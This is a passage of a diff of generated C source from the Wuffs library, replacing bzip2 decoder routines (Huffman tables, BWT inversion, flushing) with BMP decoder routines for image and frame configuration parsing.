-+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_14 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_14; -+ if (num_bits_14 == 8) { -+ t_14 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_14 += 8u; -+ *scratch |= ((uint64_t)(num_bits_14)) << 56; -+ } - } -- v_node_index = v_stack_values[(v_stack_height - 1u)]; -- if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { -- self->private_data.f_huffman_trees[a_which][v_node_index][0u] = ((uint16_t)(v_num_branch_nodes)); -+ self->private_impl.f_bits_per_pixel = t_14; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); -+ uint32_t t_15; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; - } else { -- self->private_data.f_huffman_trees[a_which][v_node_index][1u] = ((uint16_t)(v_num_branch_nodes)); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; -+ if (num_bits_15 == 24) { -+ t_15 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_15 += 8u; -+ *scratch |= ((uint64_t)(num_bits_15)) << 56; -+ } - } -- if (v_num_branch_nodes >= 257u) { -- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); -+ self->private_impl.f_compression = t_15; -+ } -+ if (self->private_impl.f_bits_per_pixel == 0u) { -+ if (self->private_impl.f_compression == 4u) { -+ self->private_impl.f_io_redirect_fourcc = 1246774599u; -+ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); -+ goto ok; -+ } else if (self->private_impl.f_compression == 5u) { -+ self->private_impl.f_io_redirect_fourcc = 1347307296u; -+ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); -+ goto ok; - } -- v_stack_values[v_stack_height] = v_num_branch_nodes; -- self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][0u] = 0u; -- self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][1u] = 0u; -- v_num_branch_nodes += 1u; -- v_stack_height += 1u; -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; - } -- v_node_index = v_stack_values[(v_stack_height - 1u)]; -- if (v_symbol_index < 2u) { -- v_leaf_value = ((uint16_t)((769u + v_symbol_index))); -- } else if ((v_symbol_index + 1u) < self->private_impl.f_num_symbols) { -- v_leaf_value = ((uint16_t)((511u + v_symbol_index))); -- } else { -- v_leaf_value = 768u; -+ self->private_data.s_do_decode_image_config.scratch = 20u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(34); -+ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { -- self->private_data.f_huffman_trees[a_which][v_node_index][0u] = v_leaf_value; -- } else { -- self->private_data.f_huffman_trees[a_which][v_node_index][1u] = v_leaf_value; -- v_stack_height -= 1u; -- while (v_stack_height > 0u) { -- v_node_index = v_stack_values[(v_stack_height - 1u)]; -- if (self->private_data.f_huffman_trees[a_which][v_node_index][1u] == 0u) { -- break; -+ iop_a_src += self->private_data.s_do_decode_image_config.scratch; -+ if (self->private_impl.f_bitmap_info_len == 40u) { -+ if (self->private_impl.f_bits_per_pixel >= 16u) { -+ if (self->private_impl.f_padding >= 16u) { -+ self->private_impl.f_bitmap_info_len = 56u; -+ self->private_impl.f_padding -= 16u; -+ } else if (self->private_impl.f_padding >= 12u) { -+ self->private_impl.f_bitmap_info_len = 52u; -+ self->private_impl.f_padding -= 12u; - } -- v_stack_height -= 1u; - } -+ } else if ((self->private_impl.f_bitmap_info_len != 52u) && -+ (self->private_impl.f_bitmap_info_len != 56u) && -+ (self->private_impl.f_bitmap_info_len != 64u) && -+ (self->private_impl.f_bitmap_info_len != 108u) && -+ (self->private_impl.f_bitmap_info_len != 124u)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; -+ } -+ if (self->private_impl.f_compression == 6u) { -+ self->private_impl.f_compression = 3u; -+ } -+ if (self->private_impl.f_compression == 3u) { -+ if (self->private_impl.f_bitmap_info_len >= 52u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(35); -+ uint32_t t_16; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(36); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; -+ if (num_bits_16 == 24) { -+ t_16 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_16 += 8u; -+ *scratch |= ((uint64_t)(num_bits_16)) << 56; -+ } -+ } -+ self->private_impl.f_channel_masks[2u] = t_16; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(37); -+ uint32_t t_17; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_17 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(38); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_17 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_17; -+ if (num_bits_17 == 24) { -+ t_17 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_17 += 8u; -+ *scratch |= ((uint64_t)(num_bits_17)) << 56; -+ } -+ } -+ self->private_impl.f_channel_masks[1u] = t_17; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(39); -+ uint32_t t_18; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_18 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(40); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; -+ if (num_bits_18 == 24) { -+ t_18 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_18 += 8u; -+ *scratch |= ((uint64_t)(num_bits_18)) << 56; -+ } -+ } -+ self->private_impl.f_channel_masks[0u] = t_18; -+ } -+ if (self->private_impl.f_bitmap_info_len >= 56u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(41); -+ uint32_t t_19; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_19 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(42); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_19 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_19; -+ if (num_bits_19 == 24) { -+ t_19 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_19 += 8u; -+ *scratch |= ((uint64_t)(num_bits_19)) << 56; -+ } -+ } -+ self->private_impl.f_channel_masks[3u] = t_19; -+ } -+ self->private_data.s_do_decode_image_config.scratch = ((uint32_t)(self->private_impl.f_bitmap_info_len - 56u)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(43); -+ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_image_config.scratch; -+ } -+ if ((self->private_impl.f_channel_masks[0u] == 255u) && (self->private_impl.f_channel_masks[1u] == 65280u) && (self->private_impl.f_channel_masks[2u] == 16711680u)) { -+ if (self->private_impl.f_bits_per_pixel == 24u) { -+ self->private_impl.f_compression = 0u; -+ } else if (self->private_impl.f_bits_per_pixel == 32u) { -+ if ((self->private_impl.f_channel_masks[3u] == 0u) || (self->private_impl.f_channel_masks[3u] == 4278190080u)) { -+ self->private_impl.f_compression = 0u; -+ } -+ } -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(44); -+ status = wuffs_bmp__decoder__process_masks(self); -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ } else if (self->private_impl.f_bitmap_info_len >= 40u) { -+ v_n = (self->private_impl.f_bitmap_info_len - 40u); -+ self->private_data.s_do_decode_image_config.scratch = v_n; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(45); -+ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_image_config.scratch; -+ } else { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; - } -- v_symbol_index += 1u; - } -- v_code_length += 1u; -+ if (self->private_impl.f_compression != 3u) { -+ if (self->private_impl.f_bits_per_pixel < 16u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(46); -+ status = wuffs_bmp__decoder__read_palette(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ } -+ if (self->private_impl.f_compression == 0u) { -+ if ((self->private_impl.f_bits_per_pixel == 1u) || (self->private_impl.f_bits_per_pixel == 2u) || (self->private_impl.f_bits_per_pixel == 4u)) { -+ self->private_impl.f_src_pixfmt = 2198077448u; -+ self->private_impl.f_compression = 256u; -+ } else if (self->private_impl.f_bits_per_pixel == 8u) { -+ self->private_impl.f_src_pixfmt = 2198077448u; -+ } else if (self->private_impl.f_bits_per_pixel == 16u) { -+ self->private_impl.f_compression = 3u; -+ self->private_impl.f_channel_masks[0u] = 31u; -+ self->private_impl.f_channel_masks[1u] = 992u; -+ self->private_impl.f_channel_masks[2u] = 31744u; -+ self->private_impl.f_channel_masks[3u] = 0u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(47); -+ status = wuffs_bmp__decoder__process_masks(self); -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_src_pixfmt = 2164308923u; -+ } else if (self->private_impl.f_bits_per_pixel == 24u) { -+ self->private_impl.f_src_pixfmt = 2147485832u; -+ } else if (self->private_impl.f_bits_per_pixel == 32u) { -+ if (self->private_impl.f_channel_masks[3u] == 0u) { -+ self->private_impl.f_src_pixfmt = 2415954056u; -+ } else { -+ self->private_impl.f_src_pixfmt = 2164295816u; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; -+ } -+ } else if (self->private_impl.f_compression == 1u) { -+ if (self->private_impl.f_bits_per_pixel == 8u) { -+ self->private_impl.f_src_pixfmt = 2198077448u; -+ } else { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; -+ } -+ } else if (self->private_impl.f_compression == 2u) { -+ if (self->private_impl.f_bits_per_pixel == 4u) { -+ self->private_impl.f_src_pixfmt = 2198077448u; -+ } else { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; -+ } -+ } else if (self->private_impl.f_compression == 3u) { -+ if ((self->private_impl.f_bits_per_pixel == 16u) || (self->private_impl.f_bits_per_pixel == 32u)) { -+ self->private_impl.f_src_pixfmt = 2164308923u; -+ } else { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; -+ } -+ if (((self->private_impl.f_bitmap_info_len < 40u) || (self->private_impl.f_bitmap_info_len == 64u)) && -+ (self->private_impl.f_bits_per_pixel != 1u) && -+ (self->private_impl.f_bits_per_pixel != 4u) && -+ (self->private_impl.f_bits_per_pixel != 8u) && -+ (self->private_impl.f_bits_per_pixel != 24u)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; -+ } -+ if (self->private_impl.f_bits_per_pixel == 1u) { -+ v_byte_width = ((self->private_impl.f_width >> 3u) + (((self->private_impl.f_width & 7u) + 7u) >> 3u)); -+ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); -+ } else if (self->private_impl.f_bits_per_pixel == 2u) { -+ v_byte_width = ((self->private_impl.f_width >> 2u) + (((self->private_impl.f_width & 3u) + 3u) >> 2u)); -+ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); -+ } else if (self->private_impl.f_bits_per_pixel == 4u) { -+ v_byte_width = ((self->private_impl.f_width >> 1u) + (self->private_impl.f_width & 1u)); -+ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); -+ } else if (self->private_impl.f_bits_per_pixel == 8u) { -+ self->private_impl.f_pad_per_row = ((4u - (self->private_impl.f_width & 3u)) & 3u); -+ } else if (self->private_impl.f_bits_per_pixel == 16u) { -+ self->private_impl.f_pad_per_row = ((self->private_impl.f_width & 1u) * 2u); -+ } else if (self->private_impl.f_bits_per_pixel == 24u) { -+ self->private_impl.f_pad_per_row = (self->private_impl.f_width & 3u); -+ } else if (self->private_impl.f_bits_per_pixel == 32u) { -+ self->private_impl.f_pad_per_row = 0u; -+ } -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ if (a_dst != NULL) { -+ v_dst_pixfmt = 2164295816u; -+ if ((self->private_impl.f_channel_num_bits[0u] > 8u) || -+ (self->private_impl.f_channel_num_bits[1u] > 8u) || -+ (self->private_impl.f_channel_num_bits[2u] > 8u) || -+ (self->private_impl.f_channel_num_bits[3u] > 8u)) { -+ v_dst_pixfmt = 2164308923u; -+ } else if (((self->private_impl.f_src_pixfmt == 2198077448u) || (self->private_impl.f_src_pixfmt == 2147485832u) || (self->private_impl.f_src_pixfmt == 2415954056u)) || ((self->private_impl.f_src_pixfmt == 2164308923u) && (self->private_impl.f_channel_masks[3u] == 0u))) { -+ v_dst_pixfmt = 2415954056u; -+ } -+ wuffs_base__image_config__set( -+ a_dst, -+ v_dst_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_frame_config_io_position, -+ (self->private_impl.f_channel_masks[3u] == 0u)); -+ } -+ self->private_impl.f_call_sequence = 32u; -+ -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; - } -- if (v_stack_height != 0u) { -- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- return wuffs_base__make_status(NULL); -+ -+ return status; - } - --// -------- func bzip2.decoder.build_huffman_table -+// -------- func bmp.decoder.decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_bzip2__decoder__build_huffman_table( -- wuffs_bzip2__decoder* self, -- uint32_t a_which) { -- uint32_t v_i = 0; -- uint32_t v_bits = 0; -- uint16_t v_n_bits = 0; -- uint16_t v_child = 0; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_bmp__decoder__decode_frame_config( -+ wuffs_bmp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 2)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- while (v_i < 256u) { -- v_bits = (v_i << 24u); -- v_n_bits = 0u; -- v_child = 0u; -- while ((v_child < 257u) && (v_n_bits < 8u)) { -- v_child = self->private_data.f_huffman_trees[a_which][v_child][(v_bits >> 31u)]; -- v_bits <<= 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_n_bits += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -- self->private_data.f_huffman_tables[a_which][v_i] = ((uint16_t)((v_child | (v_n_bits << 12u)))); -- v_i += 1u; -+ -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; - } -- return wuffs_base__make_empty_struct(); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; - } - --// -------- func bzip2.decoder.invert_bwt -+// -------- func bmp.decoder.do_decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_bzip2__decoder__invert_bwt( -- wuffs_bzip2__decoder* self) { -- uint32_t v_i = 0; -- uint32_t v_letter = 0; -- uint32_t v_sum = 0; -- uint32_t v_old_sum = 0; -+static wuffs_base__status -+wuffs_bmp__decoder__do_decode_frame_config( -+ wuffs_bmp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- v_sum = 0u; -- v_i = 0u; -- while (v_i < 256u) { -- v_old_sum = v_sum; -- v_sum += self->private_data.f_letter_counts[v_i]; -- self->private_data.f_letter_counts[v_i] = v_old_sum; -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < self->private_impl.f_block_size) { -- v_letter = (self->private_data.f_bwt[v_i] & 255u); -- self->private_data.f_bwt[(self->private_data.f_letter_counts[v_letter] & 1048575u)] |= (v_i << 12u); -- self->private_data.f_letter_counts[v_letter] += 1u; -- v_i += 1u; -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- return wuffs_base__make_empty_struct(); --} -- --// -------- func bzip2.decoder.flush_fast -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_bzip2__decoder__flush_fast( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_dst) { -- uint32_t v_flush_pointer = 0; -- uint32_t v_flush_repeat_count = 0; -- uint8_t v_flush_prev = 0; -- uint32_t v_block_checksum_have = 0; -- uint32_t v_block_size = 0; -- uint32_t v_entry = 0; -- uint8_t v_curr = 0; - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- v_flush_pointer = self->private_impl.f_flush_pointer; -- v_flush_repeat_count = self->private_impl.f_flush_repeat_count; -- v_flush_prev = self->private_impl.f_flush_prev; -- v_block_checksum_have = self->private_impl.f_block_checksum_have; -- v_block_size = self->private_impl.f_block_size; -- while ((v_block_size > 0u) && (((uint64_t)(io2_a_dst - iop_a_dst)) >= 255u)) { -- if (v_flush_repeat_count < 4u) { -- v_entry = self->private_data.f_bwt[v_flush_pointer]; -- v_curr = ((uint8_t)(v_entry)); -- v_flush_pointer = (v_entry >> 12u); -- if (v_curr == v_flush_prev) { -- v_flush_repeat_count += 1u; -- } else { -- v_flush_repeat_count = 1u; -+ if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr)] ^ ((uint32_t)(v_block_checksum_have << 8u))); -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_curr), iop_a_dst += 1); -- v_flush_prev = v_curr; -- v_block_size -= 1u; -- } else { -- v_entry = self->private_data.f_bwt[v_flush_pointer]; -- v_curr = ((uint8_t)(v_entry)); -- v_flush_pointer = (v_entry >> 12u); -- v_flush_repeat_count = ((uint32_t)(v_curr)); -- while (v_flush_repeat_count > 0u) { -- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev)] ^ ((uint32_t)(v_block_checksum_have << 8u))); -- if (((uint64_t)(io2_a_dst - iop_a_dst)) > 0u) { -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_flush_prev), iop_a_dst += 1); -- } -- v_flush_repeat_count -= 1u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_bmp__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- v_flush_repeat_count = 0u; -- v_flush_prev = v_curr; -- v_block_size -= 1u; -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; - } -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height), -+ ((wuffs_base__flicks)(0u)), -+ 0u, -+ self->private_impl.f_frame_config_io_position, -+ 0u, -+ true, -+ false, -+ 4278190080u); -+ } -+ self->private_impl.f_call_sequence = 64u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame_config = 0; -+ goto exit; - } -- self->private_impl.f_flush_pointer = v_flush_pointer; -- self->private_impl.f_flush_repeat_count = v_flush_repeat_count; -- self->private_impl.f_flush_prev = v_flush_prev; -- self->private_impl.f_block_checksum_have = v_block_checksum_have; -- if (v_block_size <= 900000u) { -- self->private_impl.f_block_size = v_block_size; -- } -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- return wuffs_base__make_empty_struct(); -+ return status; - } - --// -------- func bzip2.decoder.flush_slow -+// -------- func bmp.decoder.decode_frame - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__flush_slow( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_dst) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_bmp__decoder__decode_frame( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 3)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_flush_pointer = 0; -- uint32_t 